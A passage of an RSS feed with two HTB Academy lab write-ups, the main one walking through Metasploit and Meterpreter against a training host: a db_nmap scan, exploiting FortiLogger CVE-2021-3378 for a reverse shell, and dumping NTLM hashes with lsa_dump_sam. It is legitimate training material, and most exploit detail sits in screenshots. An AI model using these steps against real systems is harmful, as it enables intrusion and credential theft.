previously used this exploit with success on the HTB Academy training.</p><p>After setting the options and running the exploit I successfully get the reverse shell on to the system!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*CwINTns3C2ywe1ts11ssNQ.png" /></figure><p>From here it is simply a case of navigating to the correct folder to find the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*cKNrU5jlpM9QsN5moqy1fg.png" /></figure><p>At this point it is worth checking the user that we are on the system with:</p><pre>getuid</pre><p>Which tells us that we are NT/Authority which is the equivalent of “root” user on Linux.<br>Therefore we should be able to repeat the steps we used to find the user flag on the “John” folder but this time focusing on the “Administrator” folder instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*75YdJN_gLImF3XsnSldYGg.png" /></figure><p>We’ve got it!<br>We successfully Hacked the Box!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*ozkzId7GBYD_o0ZC_xEe4Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb60b6389ca4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Academy — Using Metsasploit Framework — Meterpreter]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-using-metsasploit-framework-meterpreter-69aabf25bf6e?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/69aabf25bf6e</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Tue, 26 Nov 2024 17:45:21 GMT</pubDate>
            <atom:updated>2024-11-26T17:45:21.852Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*dZRlEoTkK9hqUEcFZ9vkig.jpeg" /></figure><h3>HTB Academy — Using Metsasploit Framework — Meterpreter</h3><p>HTB Academy — Using the Metaspoit Framework — Meterpreter</p><p>Skills shown:<br>Deep understanding of Metasploit, Meterpreter, sessions and modules. <br>NTLM hash gathering.</p><p>HTB Foreword:</p><p>Meterpreter</p><p>The Meterpreter Payload is a specific type of multi-faceted, extensible Payload that uses DLL injection to ensure the connection to the victim host is stable and difficult to detect using simple checks and can be configured to be persistent across reboots or system changes. Furthermore, Meterpreter resides entirely in the memory of the remote host and leaves no traces on the hard drive, making it difficult to detect with conventional forensic techniques.</p><p>It is dubbed the swiss army knife of pentesting, and for a good reason. The purpose of Meterpreter is to specifically improve our post-exploitation procedures, offering us a hand-picked set of relevant tools for more straightforward enumeration of the target host from the inside. It can help us find various privilege escalation techniques, AV evasion techniques, further vulnerability research, provide persistent access, pivot, etc.</p><p>For some interesting reading, check out this post on Meterpreter stageless payloads and this post on modifying Metasploit templates for evasion. These topics are outside the scope of this module, but we should be aware of these possibilities.</p><p>Walkthrough:<br>To start we need to open Metasploit console with the command:<br>msfconsole</p><p>This will start the program and allow us to scan with nmap through Metasploit. <br>This allows us to store our results in a database form if so desired, among other things. <br>To check if the database service was running I use:<br>sudo service postgresql status</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*KveW4dbLDcmNqXqrMM2QlQ.png" /></figure><p>Looks good so I can start Metasploit (with database recording of returns) with the command:<br>sudo msfdb run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*vzj3K2ANLuY2lE7YjJ4CUA.png" /></figure><p>We’re up a running, now to get on with the nmap scan.</p><p>To make sure my work was well organised and separate from other projects I’m currently working on, I first checked what workspace I was using in regards to the msf database. <br>I used the following commands to check workspace, add and change to newly added workspace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*8fNyds2ZBUCYAfE6oolY3A.png" /></figure><p>With all that done, this command was used to initiate the nmap scan in Metasploit.</p><p>db_nmap -Pn -sV -p- -T5 -A 10.129.11.236</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Po0zZNEnhntcQCgJoTDBCA.png" /></figure><p>Once we have the output of the scan stored in our Postgresql database, it’s usually prudent to backup the output in case it is needed again.<br>We can do this with:<br>db_export -f xml &lt;filename&gt;.xml</p><p>Upon inspection of the nmap results we can see that there are five services running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*4lqp9ADgKKMTGHAaE1AayQ.png" /></figure><p>After checking each port in turn on the browser and then cross referencing with the nmap results, we find that port 5000 is running a service called “FortiLogger”. <br>After some googling I found that:<br>“Fortilogger is a log monitoring, reporting, and hotspot authentication tool for FortiGate firewalls.”<br>We should also note that (based on developer mode) the service version is 3.1.7, which appears to be susceptible to CVE-2021–3378.</p><p>Based on the above, the next logical step would be to check Metasploit for a vulnerability that could be applied to FortiLogger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdCd3Y0QB-oDBSH5hJBhqw.png" /></figure><p>This return gives me the impression that our previous assumptions about the CVE were correct, there is one arbitrary file upload vulnerability given from 2021. Same as the CVE we found from the google search.</p><p>To use this command and list the options for the exploit, I used:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_nvn-wEszqGeF1-wSVzDFw.png" /></figure><p>This tells us that we need to set the RHOSTS option and the LHOST option (incorrect IP shown).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ITQDaWr6AVvggwOSvS00Lw.png" /></figure><p>After entering the required information for the RHOSTS and LHOST options we can finally run the exploit and successfully get a reverse shell on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIYKiWo0L4ueCaTdgTGJFw.png" /></figure><p>From here we can complete task 1, which asks us to “Find the existing exploit in MSF and use it to get a shell on the target. What is the username of the user you obtained a shell with?”.<br>We use the command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*a8sWm-Zli_y-zfTx5jfPvg.png" /></figure><p>Getting the answer to task 1.</p><p>The next task is “Retrieve the NTLM password hash for the “htb-student” user. Submit the hash as the answer.”</p><p>I’m not entirely sure how to do this one. <br>After getting stuck for a while, I decided to get a hint.</p><p>The hint I got was “lsa_dump_sam”.</p><p>Using this program on the Meterpreter session gets us what we are looking for:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CXrKYVBSrIyTcwb8wI5yeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*OGEIGBuAkmXY1SbHbjUDRQ.png" /></figure><p>Tasks completed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69aabf25bf6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>